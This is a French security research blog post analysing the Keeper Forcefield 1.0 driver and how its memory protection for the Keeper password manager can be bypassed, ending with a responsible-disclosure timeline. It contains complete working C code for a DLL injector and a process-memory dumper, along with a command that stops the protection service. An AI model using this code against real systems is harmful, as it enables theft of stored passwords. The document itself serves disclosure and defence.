Skip to main content

Command Palette

Search for a command to run...

Protection de secrets en mémoire et contournement : le cas de Keeper Forcefield

Updated
7 min read
Protection de secrets en mémoire et contournement : le cas de Keeper Forcefield
L

Login Sécurité protège votre entreprise : cybersécurité, SOC, services managés, formation et gestion de crise à Paris, Lille et en régions.

Keeper Forcefield est une extension du gestionnaire de mots de passe Keeper, reposant sur un driver kernel qui permettrait de prémunir le gestionnaire de mots de passe des attaquants volant les secrets en mémoire.

Aussi, nous avons décidé de nous intéresser à la solution pour en comprendre son fonctionnement, et ses limitations. Les résultats présentés dans cet article sont issus d'un travail d'analyse sur la version 1.0 de Keeper Forcefield.

Comment est-ce que cela fonctionne ?

Keeper Forcefield est constitué d'un exécutable, ainsi que d'un driver, keeperforcefield.sys.

Le driver est assez simple et implémente l'ensemble des fonctionnalités qui vont nous intéresser. Il enregistre un callback sur les opérations sur les objets de type PROCESSvia ObRegisterCallbacks.

NTSTATUS status = ObRegisterCallbacks(&CallbackRegistration, &RegistrationHandle);

Ce callback, lorsqu'il est invoqué sur une opération de création ou de duplication, réalise plusieurs choses.

Tout d'abord, il vérifie que l'image du processus cible de l'opération correspond bien à l'un des processus surveillés, et que la signature correspond :

PEPROCESS TargetProcess = OperationInformation->Object;
SeLocateProcessImageName(TargetProcess, &TargetProcessImageFileName);

if (IsTargetProcessChecked(TargetProcessImageFileName))

On retrouve ainsi la liste des processus surveillés, qui est également documentée sur le site officiel (août 2025) :

  • keeperpasswordmanager.exe

  • keeper-ksm.exe

  • keeper-commander.exe

  • keeper-gateway-service.exe

  • KeeperBridgeClient.exe

  • KeeperBridgeSvc.exe

  • chat.UWP.exe

  • keeperimport.exe

  • chrome.exe

  • msedge.exe

  • firefox.exe

  • brave.exe

  • opera.exe

  • vivaldi.exe

Si c'est le cas, alors le processus à l'origine de l'opération est vérifié à son tour :

if (IsTargetProcessChecked(TargetProcessImageFileName))
{
    SeLocateProcessImageName(IoGetCurrentProcess(), &CurrentProcessImageName);
    FltParseFileName(CurrentProcessImageName, nullptr, nullptr,
        &FinalComponentCurrentProcess);

    if (!IsProcessInWhitelist(CurrentProcessImageName)
        && !IsProcessWindowsDefender(CurrentProcessImageName) && !
        RtlEqualUnicodeString(TargetProcessImageFileName,
        CurrentProcessImageName, 1))

Ainsi, le chemin complet de l'image de l'exécutable à l'origine de l'opération est comparé à une liste blanche explicite, puis au chemin d'installation de Windows Defender contenant une wildcard. Si c'est le cas, l'opération est autorisée.

Autrement, si l'opération provient d'un processus dont l'image est la même que le celle du processus de destination, alors l'opération est également autorisée. En d'autres termes, cela permet à un processus de faire une opération sur lui-même.

Enfin, si aucune de ces conditions n'est remplie, alors l'accès n'est pas autorisé, et l'access mask est modifié en conséquence:

Parameters->CreateHandleInformation.DesiredAccess &= 0xffffffef;

Cette opération revient à retirer le droit PROCESS_VM_READ, ce qui peut aider à limiter la possibilité d'aller voler en mémoire les identifiants contenus dans le process de Keeper.

Si l'opération est autorisée, rien ne se passe.

Intéressons-nous maintenant à la liste. Celle-ci est une simple liste contenant le chemin complet sur disque d'exécutables Windows:

  • \\Device\\\\<DEVICE_NAME>\\Windows\\\\System32\\svchost.exe

  • \\Device\\\\<DEVICE_NAME>\\Windows\\System32\\csrss.exe

  • \\Device\\\\<DEVICE_NAME>\\Windows\\explorer.exe

  • \\Device\\\\<DEVICE_NAME>\\Windows\\System32\\wbem\\WmiPrvSE.exe

  • \\Device\\\\<DEVICE_NAME>\\Windows\\\\System32\\lsass.exe

  • \\Device\\\\<DEVICE_NAME>\\Windows\\\\System32\\sihost.exe

  • \\Device\\\\<DEVICE_NAME>\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\\\*\\MsMpEng.exe

Ainsi, tout processus autre tentant d'ouvrir une HANDLE sur l'un des processus Keeper, avec le droit PROCESS_VM_READ, se verrait retirer ce droit.

Les limitations

Maintenant que nous avons connaissance de comment fonctionne ce driver, intéressons nous à comment cela peut être contourné.

Dans le cas d'un attaquant disposant d'un accès non privilégié

Premièrement, retirer le droit de lecture n'est pas suffisant pour empêcher d'accéder à l'espace mémoire d'un processus Keeper. En effet, si on y injecte du code et que celui-ci est exécuté, alors il peut ouvrir une HANDLE vers lui-même du fait de l'exclusion en place, ou simplement utiliser la pseudo-handle NtCurrentProcess(), qui dispose de tous les accès. Avec cette handle, il sera alors possible de générer un dump du processus (ou simplement retrouver les secrets en mémoire via des lectures mémoires).

De très nombreux moyens existent afin de réaliser ces injections de code, et ceux-ci reposent sur des droits très différents, et ne reposent pas sur PROCESS_VM_READ. Plusieurs techniques sont par exemple documentées sur ce répertoire.

Secondement, les processus explicitement autorisés, comme explorer.exe par exemple, ne sont pas eux-mêmes protégés. Il est donc possible d'ouvrir une HANDLE avec tous les privilèges sur explorer.exe et d'y injecter du code. Ce code injecté va alors ouvrir une HANDLE vers un process Keeper, et cela se fera sans restriction, car le processus est whitelisté.

Voici un exemple très simple permettant de compiler une bibliothèque qui va générer un dump d'un processus arbitraire. Cette DLL est faite pour être injectée soit dans un processus Keeper directement, soit dans un processus whitelisté, et ce via le second exécutable.

dump_by_pid.c

#include <Windows.h>
#include <DbgHelp.h>

/* Compilation - en utilisant clang-cl comme compilateur, lld-link comme linker, et xwin pour récupérer les headers Microsoft
 *
 * Auteur : Nathan (Login Sécurité)
 *
 * clang-cl -c -vctoolsdir /home/user/winheaders/crt/ -winsdkdir /home/user/winheaders/sdk/ dump_by_pid.c
 * lld-link /VERBOSE -libpath:/home/user/winheaders/crt/lib/x86_64/ \\
 *          -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/ucrt/x86_64/ \\
 *          -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/um/x86_64/ \\
 *          -dll DbgHelp.Lib dump_by_pid.obj /out:dump.dll
 */

void dump()
{
    // A remplacer par le pid du processus à dumper.
    DWORD target_pid = <FIXME_TARGET_PROCESS_PID>;
    BOOL result = FALSE;
    HANDLE target_process = {0};
    HANDLE dump_file = {0};

    dump_file = CreateFileA(
            "C:\\\\\\\\Windows\\\\\\\\temp\\\\\\\\dump.dmp",
            GENERIC_WRITE | GENERIC_READ,
            FILE_SHARE_READ,
            0,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );

    // Bien que nous utilisions PROCESS_ALL_ACCESS, les droits résultants de l'opération ne contiennent pas PROCESS_VM_READ
    target_process = OpenProcess(PROCESS_ALL_ACCESS , 0, target_pid);
    if (target_process == NULL)
        return;

    result = MiniDumpWriteDump(
            target_process,
            target_pid,
            dump_file,
            MiniDumpWithFullMemory,
            NULL,
            NULL,
            NULL
        );
    if (result == FALSE)
        return;

    CloseHandle(target_process);
    CloseHandle(dump_file);

}

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
    )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            dump();
            break;
        default:
            break;
    }
    return FALSE;
}

inject.c

#include <Windows.h>
#include <stdio.h>

/*
Compilation - en utilisant clang-cl comme compilateur, lld-link comme linker, et xwin pour récupérer les headers Microsoft

Auteur : Nathan (Login Sécurité)

clang-cl -c  -vctoolsdir /home/user/winheaders/crt/ -winsdkdir /home/user/winheaders/sdk/ inject.c
lld-link /VERBOSE -libpath:/home/user/winheaders/crt/lib/x86_64/ \\
         -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/ucrt/x86_64/ \\
         -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/um/x86_64/ \\
         inject.obj /out:inject.exe
*/

int main(int argc, char** argv)
{
    HANDLE target_process = {0}, new_thread = {0};
    HANDLE kernelbase_handle = {0};
    DWORD target_pid = -1;
    LPVOID memory_base_address = 0, load_lib_address = {0};
    BOOL result = FALSE;

    if (argc != 3){
        printf("Usage: %s <target_pid> <dll_to_inject>\\\\n", argv[0]);
        return 1;
    }

    target_pid = atoi(argv[1]);
    if (target_pid == 0 || target_pid == -1){
        printf("Failed converting pid\\\\n");
        return 1;
    }

    target_process = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid);
    if (target_process == NULL) {
        printf("Failed opening target process. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    memory_base_address = VirtualAllocEx(
            target_process,
            NULL,
            0x1000,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
            );
    if (memory_base_address == 0){
        printf("Failed allocating remote memory. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    result = WriteProcessMemory(target_process, memory_base_address, argv[2], 0x1000, NULL);
    if (result == FALSE) {
        printf("Failed writing DLL path. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    kernelbase_handle = GetModuleHandleA("kernelbase.dll");
    if (kernelbase_handle == NULL) {
        printf("Failed getting kernelbase base address. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    load_lib_address = GetProcAddress(kernelbase_handle, "LoadLibraryA");
    if (load_lib_address == NULL) {

        printf("Failed getting LoadLibraryA address. %ld\\\\n", GetLastError());
        return 1;
    }

    new_thread = CreateRemoteThread(
            target_process,
            NULL,
            0,
            load_lib_address,
            memory_base_address,
            0,
            NULL
            );
    if (new_thread == NULL){
        printf("Failed creating remote thread. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    printf("Done.\\\\n");
    CloseHandle(new_thread);
    CloseHandle(target_process);

    return 0;
}

Un attaquant disposant d'un accès administrateur local

Maintenant, considérons le cas d'un attaquant disposant d'un administrateur local de la machine concernée.

Puisqu'il est possible pour un utilisateur via l'application de désactiver Keeper, alors cela est également faisable pour un attaquant.

Une manière simple de le réaliser est d'arrêter le service:

sc.exe stop keeperforcefield

De plus, un attaquant privilégié, contrairement à l'attaquant non privilégié, dispose d'un nombre important de moyens de s'injecter dans un processus de Keeper, ou bien l'un des processus en liste blanche, sans faire appel aux API kernel de manipulation de processus distants. Par conséquent, cela contourne complètement le mécanisme qui notifie le driver Keeper, et par conséquent, le rend inopérant.

Parmi ces techniques, on peut notamment citer la modification d'une DLL sur disque, la modification d'une entrée de registre permettant de modifier un enregistrement COM, la modification des KnownDll, le chargement d'un driver kernel vulnérable puis son exploitation permettant de manipuler la mémoire kernel, et bien d'autres encore.

Windows et les injections de processus

Comme nous avons pu le voir, il existe de très nombreux moyens de contourner la limitation imposée par le driver de Keeper ForceField. Microsoft eux-mêmes ont tenté d'imposer une limitation similaire sur certains processus via le mécanisme de Protected Process Light, mais ce mécanisme a fréquemment des contournements publiés. C'est pour cela que ce n'est pas considéré comme une security boundary par Microsoft.

Il existe toutefois un moyen de se prémunir dans le cas de l'attaquant non privilégié. Il est possible pour un processus de révoquer les droits de l'utilisateur courant sur le processus en question, via l'API SetSecurityInfo sur une HANDLE du processus courant, et en ayant construit un DACL n'autorisant pas l'utilisateur courant.

Responsible Disclosure

Ce travail s’inscrit dans une démarche de divulgation responsable visant à améliorer la sécurité des systèmes concernés.

  • Juin 2025 : Découverte des différentes vulnérabilités, analyse technique et confirmation de l’impact

  • 2 juillet 2025 : Notification confidentielle transmise à Keeper

  • 2 juillet 2025 : Accusé de réception et échanges techniques avec Keeper

  • 30 septembre 2025 : Mise à disposition de la version 1.1 de Keeper Forcefield. Keeper a confirmé que bien que les vecteurs identifiés aient été corrigés, il est techniquement impossible de prévenir de manière exhaustive l’ensemble des usages abusifs liés à ce mécanisme.